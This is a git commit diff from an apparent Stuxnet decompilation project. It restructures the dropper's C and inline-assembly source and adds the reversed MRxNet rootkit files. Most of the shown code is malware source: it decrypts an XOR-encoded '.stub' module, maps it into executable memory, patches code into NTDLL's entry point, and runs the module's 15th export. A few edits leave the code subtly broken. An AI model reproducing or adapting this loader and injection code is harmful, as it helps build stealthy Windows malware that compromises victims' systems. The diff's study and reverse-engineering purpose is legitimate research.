Massive restructure

A lot of changes, some small some large.
Most notably, add in the rootkit source, courtesy of @Christian-Roggia

Closes https://github.com/micrictor/stuxnet/issues/1
This commit is contained in:
Michael R. Torres
2016-09-19 18:11:30 -07:00
parent 375ef9648a
commit d374a08824
32 changed files with 1591 additions and 244 deletions

View File

@@ -21,6 +21,7 @@
** ASSEMBLY BLOCK 0. **
*************************************************************************/
// This is the first bit of code injected into NTDLL at base + 16
void __declspec(naked) __ASM_BLOCK0_0(void)
{
__asm
@@ -31,22 +32,22 @@ void __declspec(naked) __ASM_BLOCK0_0(void)
mov dl, 0
jmp short __ASM_REF_0
mov dl, 1
jmp short __ASM_REF_0
mov dl, 2
jmp short __ASM_REF_0
mov dl, 3
jmp short __ASM_REF_0
mov dl, 4
jmp short __ASM_REF_0
mov dl, 5
jmp short $+2
__ASM_REF_0:
push edx
call __ASM_BLOCK0_2

View File

@@ -24,6 +24,11 @@
/* This entire file seems like one giant function that calls itself to get
* the addresses for the strings.
*/
// Called during the injection process
// Argument is the address of ASM Block
// AKA NTDLL + 16
// ECX = sASMCodeBlocksHeader( type is ASM_CODE_BLOCKS_HEADER )
void __declspec(naked) __ASM_BLOCK1_0(void)
{
__asm
@@ -37,7 +42,7 @@ void __declspec(naked) __ASM_BLOCK1_1(void)
{
__asm
{
pop edx
pop edx // EDX = char * "ZwMapViewOfSection"
push ecx
add ecx, 4 // ECX = a vtable?
call __ASM_REF_7

View File

@@ -526,8 +526,8 @@ __declspec(naked) void __ASM_REF_7(void)
jnz short exitFunc
cmp dword ptr [eax+0Fh], 0C2000000h
jnz short exitFunc
push edx
call __ASM_REF_5
push edx
call __ASM_REF_5 // __ASM_REF_5 + 0x124
mov dword ptr [edx+4], 1
pop edx

View File

@@ -31,40 +31,40 @@ INT32 BLOCK4_InjectAndExecuteVirus(PASM_CODE_BLOCKS_HEADER sASMCodeBlocksHeader)
pVirusModuleSection = (PVIRUS_MODULE_BLOCKS_HEADER)sASMCodeBlocksHeader->VirusModuleSection;
pHardAddrs = (PHARDCODED_ADDRESSES)(sASMCodeBlocksHeader->ASMBlock1Segment.SegmentAddress + _SIZE(&g_hardAddrs, __ASM_BLOCK1_0));
BLOCK4_memcpy(&sInfoBlockCopy, pVirusModuleSection, sizeof(GENERAL_INFO_BLOCK));
sInfoBlockCopy.OriginalAddress = ((UINT32)&sInfoBlockCopy ^ XADDR_KEY);
sInfoBlockCopy.UnknownZero0 = 0;
sInfoBlockCopy.AlignAddressesFunction = sASMCodeBlocksHeader->AlignAddresses;
iResult = BLOCK4_LoadVirusModuleInfo(pHardAddrs, &sInfoBlockCopy, (PVOID)pVirusModuleSection->VirusModuleSegment.SegmentAddress, pVirusModuleSection->VirusModuleSegment.SegmentSize);
if(iResult) return iResult;
iResult = BLOCK4_InjectCodeIntoNTDLL(sASMCodeBlocksHeader, pHardAddrs);
if(iResult) return -4;
pVirusModule = pHardAddrs->LoadLibraryW(sInfoBlockCopy.RandomLibraryName);
if(!pVirusModule) return -9;
pVirusModuleSection->VirusModulePointer = pVirusModule;
if(pVirusModuleSection->LibraryExecuteEntryNumber != -1)
{
hThread = pHardAddrs->CreateThread(NULL, 0x00080000, (LPTHREAD_START_ROUTINE)sASMCodeBlocksHeader->ExecuteLibrary, sASMCodeBlocksHeader, 0, NULL);
if(!hThread) return -13;
pHardAddrs->WaitForSingleObject(hThread, -1);
pHardAddrs->GetExitCodeThread(hThread, (LPDWORD)&iResult);
}
hMappedAddress = sInfoBlockCopy.MappedAddress;
if(sInfoBlockCopy.MappedAddress)
{
sInfoBlockCopy.MappedAddress = 0;
pHardAddrs->ZwClose(hMappedAddress);
}
pHardAddrs->UnmapViewOfFile(pVirusModuleSection);
return iResult;
}
@@ -78,16 +78,16 @@ INT32 BLOCK4_ExecuteLibrary(PASM_CODE_BLOCKS_HEADER sASMCodeBlocksHeader)
pVirusModuleSection = (PVIRUS_MODULE_BLOCKS_HEADER)sASMCodeBlocksHeader->VirusModuleSection;
pHardAddrs = (PHARDCODED_ADDRESSES)(sASMCodeBlocksHeader->ASMBlock1Segment.SegmentAddress + _SIZE(&g_hardAddrs, __ASM_BLOCK1_0));
pLibraryExecEntry = pHardAddrs->GetProcAddress(pVirusModuleSection->VirusModulePointer, (LPCSTR)pVirusModuleSection->LibraryExecuteEntryNumber);
if(pLibraryExecEntry)
{
// Note: Same arguments passed to the 15th function of the internal library, maybe it was another module loaded in the past?
((__tLibraryExecEntry)pLibraryExecEntry)(pVirusModuleSection->UnknownSegment.SegmentAddress, pVirusModuleSection->UnknownSegment.SegmentSize);
return 0;
}
pHardAddrs->FreeLibrary(pVirusModuleSection->VirusModulePointer);
return 0;
}
@@ -127,44 +127,44 @@ NTSTATUS BLOCK4_AlignAddresses(PIMAGE_DOS_HEADER *pImageDOS)
if(!pImageDOS || !*pImageDOS)
return STATUS_ACCESS_VIOLATION;
pImageBase = (DWORD)pImageDOS;
if((*pImageDOS)->e_magic != MZ_HEADER)
return STATUS_ACCESS_VIOLATION;
pImageNT = (PIMAGE_NT_HEADERS)(pImageBase + (*pImageDOS)->e_lfanew);
pImageBaseDelta = (DWORD)(pImageBase - pImageNT->OptionalHeader.ImageBase);
if(pImageBase == pImageNT->OptionalHeader.ImageBase)
return STATUS_SUCCESS;
pImageNT->OptionalHeader.ImageBase = pImageBase;
if(!pImageNT->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size)
return STATUS_CONFLICTING_ADDRESSES;
for(i = (PIMAGE_BASE_RELOCATION)(pImageNT->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress + pImageBase); i->SizeOfBlock; i += i->SizeOfBlock/sizeof(IMAGE_BASE_RELOCATION))
{
iDeltaSizeOfBlock = i->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION);
wTypeOffset = (WORD *)(i + 1);
if(iDeltaSizeOfBlock % 2)
return STATUS_CONFLICTING_ADDRESSES;
for(j = 0; j < iDeltaSizeOfBlock / 2; ++j)
{
if((UINT8)((*wTypeOffset / 0x100) / 0x10) != IMAGE_REL_BASED_ABSOLUTE)
{
if((UINT8)((*wTypeOffset / 0x100) / 0x10) != IMAGE_REL_BASED_HIGHLOW)
return STATUS_CONFLICTING_ADDRESSES;
dwItemAddress = (DWORD *)((*wTypeOffset & 0x0FFF) + i->VirtualAddress + pImageBase);
*dwItemAddress += pImageBaseDelta;
}
wTypeOffset++;
}
}
return 0;
}
@@ -198,7 +198,7 @@ void BLOCK4_CopyDataIntoMapView(PVOID pVirusModule, PIMAGE_NT_HEADERS pImageNT,
dwNumberOfSections = pImageNT->FileHeader.NumberOfSections;
BLOCK4_memcpy(pMapViewOfFile, pVirusModule, pImageNT->OptionalHeader.SizeOfHeaders);
pImageSections = (PIMAGE_SECTION_HEADER)((DWORD)pImageNT + pImageNT->FileHeader.SizeOfOptionalHeader + sizeof(IMAGE_FILE_HEADER) + sizeof(DWORD));
// Copy section by section
for(dwCurrentSection = 0; dwCurrentSection < dwNumberOfSections; dwCurrentSection++, pImageSections++)
{
@@ -211,24 +211,27 @@ void BLOCK4_CopyDataIntoMapView(PVOID pVirusModule, PIMAGE_NT_HEADERS pImageNT,
INT32 BLOCK4_InjectCodeIntoNTDLL(ASM_CODE_BLOCKS_HEADER *sASMCodeBlocksHeader, PHARDCODED_ADDRESSES pHardAddrs)
{
HMODULE hHandleNTDLL; // [sp+8h] [bp-Ch]@1
void *v4; // [sp+Ch] [bp-8h]@3
void *NTDLL_Entry; // [sp+Ch] [bp-8h]@3
DWORD dwOld; // [sp+10h] [bp-4h]@5
hHandleNTDLL = pHardAddrs->NTDLL_DLL;
if(!pHardAddrs->NTDLL_DLL) return 0;
v4 = (void *)(hHandleNTDLL + 16);
NTDLL_Entry = (void *)(hHandleNTDLL + 16); // Presumably the entry point
if(*(_DWORD *)(hHandleNTDLL + 16) == 0xAB49103B) return 0; // Check if the code has been already injected
if(pHardAddrs->VirtualProtect(hHandleNTDLL, 0x1000, PAGE_EXECUTE_WRITECOPY, &dwOld))
{
BLOCK4_memcpy(v4, (const void *)sASMCodeBlocksHeader->ASMBlock0Segment.SegmentAddress, sASMCodeBlocksHeader->ASMBlock0Segment.SegmentSize); // inject the code
((void (__thiscall *)(void *))sASMCodeBlocksHeader->ASMBlock1Segment.SegmentAddress)(v4); // __thiscall ignored by compiler
// Copy code into ntdll entry point...
BLOCK4_memcpy(v4, (const void *)sASMCodeBlocksHeader->ASMBlock0Segment.SegmentAddress, sASMCodeBlocksHeader->ASMBlock0Segment.SegmentSize);
// ...then call ASMBlock1Segment with a pointer to the entry point as an argument
((void (__thiscall *)(void *))sASMCodeBlocksHeader->ASMBlock1Segment.SegmentAddress)(NTDLL_Entry); // __thiscall ignored by compiler
pHardAddrs->FlushInstructionCache((HANDLE)-1, NULL, 0);
return 0;
}
return -4;
}
@@ -244,32 +247,32 @@ INT32 BLOCK4_LoadVirusModuleInfo(PHARDCODED_ADDRESSES pHardAddrs, GENERAL_INFO_B
sInfoBlock->MappedAddress = 0;
pImageDOS = (PIMAGE_DOS_HEADER)pVirusModule;
if(((PIMAGE_DOS_HEADER)pVirusModule)->e_magic != MZ_HEADER) return -2;
pImageNT = (PIMAGE_NT_HEADERS)((DWORD)pVirusModule + pImageDOS->e_lfanew);
if(pImageNT->Signature != PE_HEADER) return -2;
liMaximumSize.LowPart = pImageNT->OptionalHeader.SizeOfImage; // 0x00006000
liMaximumSize.HighPart = 0;
// ZwCreateSection(..., 0xF001F, 0, ..., 64, 0x8000000, 0)
iStatus = pHardAddrs->ZwCreateSection(&hSectionHandle, SECTION_ALL_ACCESS, 0, &liMaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, 0);
if(iStatus != STATUS_SUCCESS) return -11;
pMapViewOfFile = pHardAddrs->MapViewOfFile(hSectionHandle, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);
if(!pMapViewOfFile)
{
pHardAddrs->ZwClose(hSectionHandle);
return -10;
}
sInfoBlock->MappedAddress = hSectionHandle;
BLOCK4_CopyDataIntoMapView(pVirusModule, pImageNT, pMapViewOfFile);
BLOCK4_CopyPEHeaderInfo(sInfoBlock, pImageNT, iVirusModuleSize);
pHardAddrs->UnmapViewOfFile(pMapViewOfFile);
return 0;
}

View File

@@ -17,11 +17,16 @@
#include "data.h"
#include "OS.h"
#include "stdafx.h"
HINSTANCE g_hInstDLL = NULL;
// 100% (C) CODE MATCH
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
if(fdwReason && fdwReason == 1) hINSTANCE = hinstDLL;
if(fdwReason && fdwReason == 1)
g_hInstDLL = hinstDLL;
return TRUE;
}
@@ -30,17 +35,17 @@ BOOL __stdcall DllUnregisterServerEx(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID
{
if(fdwReason && fdwReason == 1)
{
hINSTANCE = hinstDLL;
g_hInstDLL = hinstDLL;
CheckSystemVersion(TRUE);
}
return 0;
}
// 100% (C) CODE MATCH
HRESULT __stdcall DllCanUnloadNow(void)
{
hINSTANCE = GetModuleHandleW(0);
g_hInstDLL = GetModuleHandleW(0);
CheckSystemVersion(TRUE);
ExitProcess(0);
}
@@ -63,7 +68,7 @@ LONG APIENTRY CPlApplet(HWND hwndCPl, UINT uMsg, LPARAM lParam1, LPARAM lParam2)
{
if(*(DWORD *)(hwndCPl + 2))
DeleteFileA(*(LPCSTR *)(hwndCPl + 2));
CheckSystemVersion(TRUE);
return 1;
}

View File

@@ -33,23 +33,23 @@ INT32 LoadVirusModuleSection(HANDLE hHandle, PGENERAL_INFO_BLOCK sInfoBlock, PVO
pBaseAddr1 = 0;
pBaseAddr2 = 0;
iSectionPointer = 0;
iSectionsSize = sizeof(VIRUS_MODULE_BLOCKS_HEADER) + pUnknownSegmentSize + pVirusModuleSize;
iOpenMapViewFailed = SharedMapViewOfSection(hHandle, iSectionsSize, &hMapHandle, &pBaseAddr1, &pBaseAddr2);
if(iOpenMapViewFailed) return iOpenMapViewFailed;
sVirusModuleBlocksHeader = (PVIRUS_MODULE_BLOCKS_HEADER)pBaseAddr1;
pBaseAddr1 = (PVOID)((DWORD)pBaseAddr1 + sizeof(VIRUS_MODULE_BLOCKS_HEADER));
iSectionPointer = sizeof(VIRUS_MODULE_BLOCKS_HEADER);
CopySegmentIntoSections(&pBaseAddr1, pBaseAddr2, &iSectionPointer, &sVirusModuleBlocksHeader->UnknownSegment, pUnknownSegment, pUnknownSegmentSize);
pVirusImageBase = pBaseAddr1;
CopySegmentIntoSections(&pBaseAddr1, pBaseAddr2, &iSectionPointer, &sVirusModuleBlocksHeader->VirusModuleSegment, pVirusModule, pVirusModuleSize);
pImageDOS = (PIMAGE_DOS_HEADER)pVirusImageBase;
if((UINT32)pVirusModuleSize >= 0x1000 &&
pImageDOS->e_magic == MZ_HEADER &&
pImageDOS->e_lfanew + sizeof(IMAGE_OPTIONAL_HEADER) + sizeof(IMAGE_FILE_HEADER) + sizeof(DWORD) < (UINT32)pVirusModuleSize) // (UINT32 *)pImageDOS[15] + 248 -> Section ".text"
@@ -58,14 +58,14 @@ INT32 LoadVirusModuleSection(HANDLE hHandle, PGENERAL_INFO_BLOCK sInfoBlock, PVO
if(pImageNT->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT].Size == 72)
pImageNT->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT].Size = 64; // Change Delay Import Directory Size
}
__memcpy(&sVirusModuleBlocksHeader->InformationBlock, sInfoBlock, sizeof(GENERAL_INFO_BLOCK));
sVirusModuleBlocksHeader->LibraryExecuteEntryNumber = iExecEntryNumber;
sVirusModuleBlocksHeader->VirusModulePointer = 0;
*pOutSection = pBaseAddr2;
g_hardAddrs.UnmapViewOfFile(sVirusModuleBlocksHeader); // Unmap pBaseAddr1 -> same copy present in pBaseAddr2
g_hardAddrs.ZwClose(hMapHandle);
@@ -82,31 +82,32 @@ INT32 LoadAndInjectVirus(PASM_CODE_BLOCKS_HEADER sASMCodeBlocksHeader, PVIRUS_MO
GENERAL_INFO_BLOCK sInfoBlockCopy; // [sp+10h] [bp-80h]@1
__memcpy(&sInfoBlockCopy, sInfoBlock, sizeof(GENERAL_INFO_BLOCK)); // Copy the information
sInfoBlockCopy.OriginalAddress ^= XADDR_KEY; // Get the original address of the variable sInfoBlock
sInfoBlockCopy.UnknownZero0 = 0;
// Point to the first block of assembly in the section
pHardAddrs = (PHARDCODED_ADDRESSES)(sASMCodeBlocksHeader->ASMBlock1Segment.SegmentAddress + _SIZE(&g_hardAddrs, __ASM_BLOCK1_0));
iResult = BLOCK4_LoadVirusModuleInfo(pHardAddrs, &sInfoBlockCopy, (PVOID)sVirusModuleBlocksHeader->VirusModuleSegment.SegmentAddress, sVirusModuleBlocksHeader->VirusModuleSegment.SegmentSize);
if(iResult) return iResult;
if(BLOCK4_InjectCodeIntoNTDLL(sASMCodeBlocksHeader, pHardAddrs)) return -4;
if(iResult) return iResult
if(BLOCK4_InjectCodeIntoNTDLL(sASMCodeBlocksHeader, pHardAddrs))
return -4;
/* Load library from the memory */
pVirusModule = pHardAddrs->LoadLibraryW(sInfoBlockCopy.RandomLibraryName);
if(!pVirusModule) return -9;
sVirusModuleBlocksHeader->VirusModulePointer = pVirusModule;
hMappedAddress = sInfoBlockCopy.MappedAddress;
if(sInfoBlockCopy.MappedAddress)
{
sInfoBlockCopy.MappedAddress = 0;
pHardAddrs->ZwClose(hMappedAddress);
}
return 0;
}
@@ -151,43 +152,45 @@ INT32 LoadCodeSection(HANDLE hHandle, PVOID pVirusModuleSection, PVOID *pCodeBlo
pBaseAddr1 = 0;
pBaseAddr2 = 0;
iCodeBlockSize = GetCodeBlockSize(); // [0xB3A] (2874)
iSectionsSize = sizeof(ASM_CODE_BLOCKS_HEADER) + _SIZE(__ASM_BLOCK1_0, __ASM_BLOCK0_0) + _SIZE(DecodeModuleNameA, __ASM_BLOCK1_0) + iCodeBlockSize;
iSectionPointer = 0;
iOpenMapViewFailed = SharedMapViewOfSection(hHandle, iSectionsSize, &pSectionHandle, &pBaseAddr1, &pBaseAddr2);
// Because hHandle = GetCurrentProcess(), pBaseAddr1 == pBaseAddr2
if(!iOpenMapViewFailed) return iOpenMapViewFailed;
sASMCodeBlocksHeader = (PASM_CODE_BLOCKS_HEADER)pBaseAddr1;
pBaseAddr1 = (PVOID)((DWORD)pBaseAddr1 + sizeof(ASM_CODE_BLOCKS_HEADER));
iSectionPointer = sizeof(ASM_CODE_BLOCKS_HEADER);
CopySegmentIntoSections(&pBaseAddr1, pBaseAddr2, &iSectionPointer, &sASMCodeBlocksHeader->ASMBlock1Segment, __ASM_BLOCK1_0, _SIZE(DecodeModuleNameA, __ASM_BLOCK1_0));
iASMBlock1Pointer = iSectionPointer;
CopySegmentIntoSections(&pBaseAddr1, pBaseAddr2, &iSectionPointer, &sASMCodeBlocksHeader->ASMBlock0Segment, __ASM_BLOCK0_0, _SIZE(__ASM_BLOCK1_0, __ASM_BLOCK0_0));
pCodeBlock = (PVOID)GetCodeBlock();
CopySegmentIntoSections(&pBaseAddr1, pBaseAddr2, &iSectionPointer, &sASMCodeBlocksHeader->CodeBlockSegment, pCodeBlock, iCodeBlockSize);
v9 = (DWORD *)((DWORD)sASMCodeBlocksHeader + iASMBlock1Pointer + _SIZE(__ASM_BLOCK0_1, __ASM_BLOCK0_0));
*v9 = (DWORD)sASMCodeBlocksHeader->ASMBlock1Segment.SegmentAddress + _SIZE(__ASM_REF_3, __ASM_BLOCK1_0);
// Put function address into the memory map
sASMCodeBlocksHeader->ExecuteLibrary = sASMCodeBlocksHeader->CodeBlockSegment.SegmentAddress + GetRelativeExecuteLibraryPointer();
sASMCodeBlocksHeader->AlignAddresses = sASMCodeBlocksHeader->CodeBlockSegment.SegmentAddress + GetRelativeAlignAddressesPointer();
sASMCodeBlocksHeader->VirusModuleSection = (DWORD)pVirusModuleSection;
// Put the values in the pointers
*pCodeBlockPointer = (PVOID)sASMCodeBlocksHeader->CodeBlockSegment.SegmentAddress;
*pAssemblyCodeBlocksSection = pBaseAddr2;
// Close and unmap the first section
g_hardAddrs.UnmapViewOfFile(sASMCodeBlocksHeader);
g_hardAddrs.ZwClose(pSectionHandle);
return 0;
}
@@ -199,26 +202,27 @@ INT32 Setup(LPCWSTR szDebugModuleName, PVOID pVirusModule, UINT32 iVirusModuleSi
// Get a random module name with the format "KERNEL32.DLL.ASLR.XXXXXXXX"
if(GetRandomModuleName(&sInfoBlock, szDebugModuleName) != 0) return 0;
// Decrypt the Kernel32's and NTDLL's function names
if(bSetup && DecodeEncryptedModuleNames() == FALSE) return -12;
iResult = LoadVirusModuleSection(GetCurrentProcess(), &sInfoBlock, pVirusModule, iVirusModuleSize, -1, NULL, 0, &s_virusBlocksPTR);
if(iResult) return iResult;
if(bSetup)
{
iResult = LoadCodeSection(GetCurrentProcess(), s_virusBlocksPTR, &s_codeBlockPTR, &s_ASMCodeBlocksPTR);
if(iResult) return iResult;
bSetup = FALSE;
}
// Unknown
iResult = LoadAndInjectVirus((PASM_CODE_BLOCKS_HEADER)s_ASMCodeBlocksPTR, (PVIRUS_MODULE_BLOCKS_HEADER)s_virusBlocksPTR, &sInfoBlock);
if(!iResult) *hVirusModule = ((PVIRUS_MODULE_BLOCKS_HEADER)s_virusBlocksPTR)->VirusModulePointer;
if(!iResult)
*hVirusModule = ((PVIRUS_MODULE_BLOCKS_HEADER)s_virusBlocksPTR)->VirusModulePointer;
g_hardAddrs.UnmapViewOfFile(s_virusBlocksPTR);
return iResult;
}

View File

View File

@@ -18,8 +18,7 @@
#ifndef __OS_H__
#define __OS_H__
#include "define.h"
#include "STUBHandler.h"
#include "stdafx.h"
void CheckSystemVersion(BOOL bUknownBool);

11
Dropper/README.md Normal file
View File

@@ -0,0 +1,11 @@
stuxnet
=======
Eventually, this will be a comprehensive decompilation of Stuxnet's dropper.
Eventually.
Initial base provided by https://github.com/Christian-Roggia/open-myrtus
Note: The above repo has slightly cleaner source code( for now ), and includes the rootkit.

View File

@@ -27,15 +27,16 @@ void LoadSTUBSection(void)
/* --->> Get the ".stub" section's RVA and Virtual Sizee <<--- */
if(!LocateSTUBSection((PVOID *)&pSectionSTUB, &pSectionVirtualSize)) return;
DecryptSTUBSection((char *)(pSectionSTUB[0] + (UINT32)pSectionSTUB), pSectionSTUB[1]);// (552, 498176)
if(!Setup(NULL, (PVOID)(*pSectionSTUB + (UINT32)pSectionSTUB), pSectionSTUB[1], &hVirusModule)) // (0, 552, 498176, ...)
{
// Run the 15th exported function from the loaded module
pVirusExecEntry = GetProcAddress(hVirusModule, (LPCSTR)15);
if(pVirusExecEntry)
((__tLibraryExecEntry)pVirusExecEntry)((DWORD)pSectionSTUB, pSectionVirtualSize);
FreeLibrary(hVirusModule);
}
}
@@ -63,7 +64,7 @@ void DecryptSTUBSection(char *pSectionSTUB, UINT32 pSectionVirtualSize)
}
while(iFirstXOR < pSectionVirtualSize);
}
iSecondXOR = 0;
if(iCyclesSecondXOR)
{
@@ -74,10 +75,10 @@ void DecryptSTUBSection(char *pSectionSTUB, UINT32 pSectionVirtualSize)
}
while(iSecondXOR < iCyclesSecondXOR);
}
for(i = pSectionVirtualSize - 1; i >= 1; --i)
pSectionSTUB[i] -= pSectionSTUB[i - 1];
--iTotalCycles;
}
while(iTotalCycles >= 0);
@@ -90,43 +91,43 @@ bool LocateSTUBSection(PVOID *pRawSectionSTUB, INT32 *pSectionVirtualSize)
PIMAGE_SECTION_HEADER pImageSection; // edi@5
UINT32 *pSectionSTUB; // eax@11
if(((PIMAGE_DOS_HEADER)hINSTANCE)->e_magic != MZ_HEADER)
if(((PIMAGE_DOS_HEADER)g_hInstDLL)->e_magic != MZ_HEADER)
return FALSE;
pImageNT = (PIMAGE_NT_HEADERS)((DWORD)hINSTANCE + ((PIMAGE_DOS_HEADER)hINSTANCE)->e_lfanew); // (hINSTANCE + 240)
pImageNT = (PIMAGE_NT_HEADERS)((DWORD)g_hInstDLL + ((PIMAGE_DOS_HEADER)hINSTANCE)->e_lfanew); // (hINSTANCE + 240)
if(pImageNT->Signature != PE_HEADER)
return FALSE;
pImageSection = (PIMAGE_SECTION_HEADER)(pImageNT->FileHeader.SizeOfOptionalHeader + (DWORD)pImageNT + sizeof(IMAGE_FILE_HEADER) + sizeof(DWORD)); // (PE header + 224 + 24)
if(pImageNT->FileHeader.NumberOfSections <= 0)
return FALSE;
int i = 0;
// Strcmp remains true when strs don't match
while(lstrcmpiA((LPCSTR)pImageSection->Name, ".stub"))
{
i++;
if(i >= pImageNT->FileHeader.NumberOfSections)
i++;
if(i >= pImageNT->FileHeader.NumberOfSections)
return false;
pImageSection++; // Next section
}
if(pImageSection->SizeOfRawData < STUB_HEADER_LEN)
return FALSE;
pSectionSTUB = (UINT32 *)((UINT32)hINSTANCE + pImageSection->VirtualAddress);
pSectionSTUB = (UINT32 *)((UINT32)g_hInstDLL + pImageSection->VirtualAddress);
if(*pSectionSTUB != STUB_INTEGRITY_MARK)
return FALSE;
/*
/*
* Remove the headers
* pSectionSTUB++ because it's an array of 4-byte values
*/
*pRawSectionSTUB = pSectionSTUB++;
*pSectionVirtualSize = pImageSection->SizeOfRawData - 0x4; // Size - header
return TRUE;
}

41
Dropper/data.h Normal file
View File

@@ -0,0 +1,41 @@
/******************************************************************************************
Copyright 2012-2013 Christian Roggia
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
******************************************************************************************/
#ifndef CONFIG_H
#define CONFIG_H
#include "stdafx.h"
// Various keys
#define X_CORE_KEY (BYTE )0x96 // Core XOR encryption key
#define X_PTR_KEY (DWORD)0xAE1979DD // Pointer XOR key
#define X_STRING_KEY (WORD )0xAE12 // String XOR encryption key
// Module encryption config
#define X_SIGNATURE (DWORD)0xAE39120D // Signature located before the header
#define X_SECTION_NAME ".stub" // Section name where the module is located
// Module activation config
#define ENTRY_FUNC (LPCSTR)15 // Module's function to call in order to activate the main routine
// Macro for debug print
#ifdef _DEBUG
# define DEBUG_P(s) { OutputDebugString(TEXT(s"\n")); }
#else
# define DEBUG_P(s)
#endif // DEBUG
#endif // CONFIG_H

View File

@@ -1,5 +1,5 @@
/******************************************************************************************
Copyright 2012-2013 Christian Roggia
Copyright (C) 2012-2014 Christian Roggia <christian.roggia@gmail.com>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
@@ -17,80 +17,46 @@
#ifndef DEFINE_H
#define DEFINE_H
#include <windows.h>
#include "stdafx.h"
#define _QWORD UINT64
#define _DWORD UINT32
#define _WORD USHORT
#define _BYTE UCHAR
#define bool BOOL
#define IMAGE_NT(h) (PIMAGE_NT_HEADERS)(((PIMAGE_DOS_HEADER)h)->e_lfanew + (DWORD)h)
#define SECTION_TABLE(h) (PIMAGE_SECTION_HEADER)((DWORD)h + h->FileHeader.SizeOfOptionalHeader + sizeof(IMAGE_FILE_HEADER) + sizeof(DWORD))
#define __usercall _cdecl
#define __thiscall _cdecl // (?)
#define HAS_FAILED(v, r) { if(v) return (r); }
#define _SIZE(x, y) (DWORD)((DWORD)x - (DWORD)y)
#define NTSTATUS ULONG
#define STATUS_SUCCESS 0x00000000
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
#define STATUS_ACCESS_DENIED 0xC0000022
#define STATUS_BUFFER_OVERFLOW 0x80000005
#define STATUS_CONFLICTING_ADDRESSES 0xC0000018
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
UNICODE_STRING *ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES;
#define POBJECT_ATTRIBUTES OBJECT_ATTRIBUTES*
typedef enum _SECTION_INHERIT
{
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT;
typedef void (*__tLibraryExecEntry)(DWORD, INT32);
typedef NTSTATUS (*__tAlignAddresses)(PIMAGE_DOS_HEADER *);
typedef struct _GENERAL_INFO_BLOCK {
DWORD OriginalAddress;
UINT32 UnknownZero0;
HANDLE MappedAddress;
DWORD AlignAddressesFunction;
WCHAR RandomLibraryName[32];
UINT32 AbsoluteEntryPoint;
UINT32 UnknownZero1;
UINT32 SizeOfStackReserve;
UINT32 SizeOfStackCommit;
UINT32 Subsystem;
UINT16 MinorSubsystemVersion;
UINT16 MajorSubsystemVersion;
UINT32 UnknownZero2;
UINT16 Charactersitics;
UINT16 DllCharacteristics;
UINT16 Machine;
UINT8 UnknownOne;
UINT8 UnknownFour;
UINT32 LoaderFlags;
UINT32 VirusModuleSize;
UINT32 UnknownZero3;
} GENERAL_INFO_BLOCK, *PGENERAL_INFO_BLOCK;
// Return Global Encoded Function Pointer
#define _FUNC(s) g_hardAddrs.##s
#define MZ_HEADER 0x5A4D
#define PE_HEADER 0x4550
#define _SIZE(x, y) (UINT32)((UINT32)x - (UINT32)y)
typedef void (*__tLibraryExecEntry)(LPVOID, INT32);
typedef NTSTATUS (*__tAlignAddresses)(PIMAGE_DOS_HEADER *);
#define XADDR_KEY 0xAE1979DD
typedef struct _GENERAL_INFO_BLOCK {
DWORD OriginalAddress;
DWORD UnknownZero0;
HANDLE MappedAddress;
DWORD AlignAddressesFunction;
WCHAR RandomLibraryName[32];
DWORD AbsoluteEntryPoint;
DWORD UnknownZero1;
DWORD SizeOfStackReserve;
DWORD SizeOfStackCommit;
DWORD Subsystem;
WORD MinorSubsystemVersion;
WORD MajorSubsystemVersion;
DWORD UnknownZero2;
WORD Charactersitics;
WORD DllCharacteristics;
WORD Machine;
BYTE UnknownOne;
BYTE UnknownFour;
DWORD LoaderFlags;
DWORD VirusModuleSize;
DWORD UnknownZero3;
} GENERAL_INFO_BLOCK, *PGENERAL_INFO_BLOCK;
typedef struct _SECTION_SEGEMENT_INFO {
DWORD SegmentAddress;

17
Dropper/stdafx.h Normal file
View File

@@ -0,0 +1,17 @@
#include <windows.h>
#define _QWORD UINT64
#define _DWORD UINT32
#define _WORD USHORT
#define _BYTE UCHAR
#define bool BOOL
#define __usercall _cdecl
#define __thiscall _cdecl // (?)
#define NTSTATUS ULONG
#define STATUS_SUCCESS 0x00000000
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
#define STATUS_ACCESS_DENIED 0xC0000022
#define STATUS_BUFFER_OVERFLOW 0x80000005
#define STATUS_CONFLICTING_ADDRESSES 0xC0000018

640
Rootkit/FastIo.c Normal file
View File

@@ -0,0 +1,640 @@
/*++
Copyright (C) 2010-2011 Amr Thabet <amr.thabet[at]student.alx.edu.eg>
Module Name:
FastIo.c
Abstract:
This Module Contain The reversed MRxNet rootkit dropped by Stuxnet worm.
This File For The FastIoDispatch Routines
Licence:
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to Amr Thabet
amr.thabet@student.alx.edu.eg
Environment:
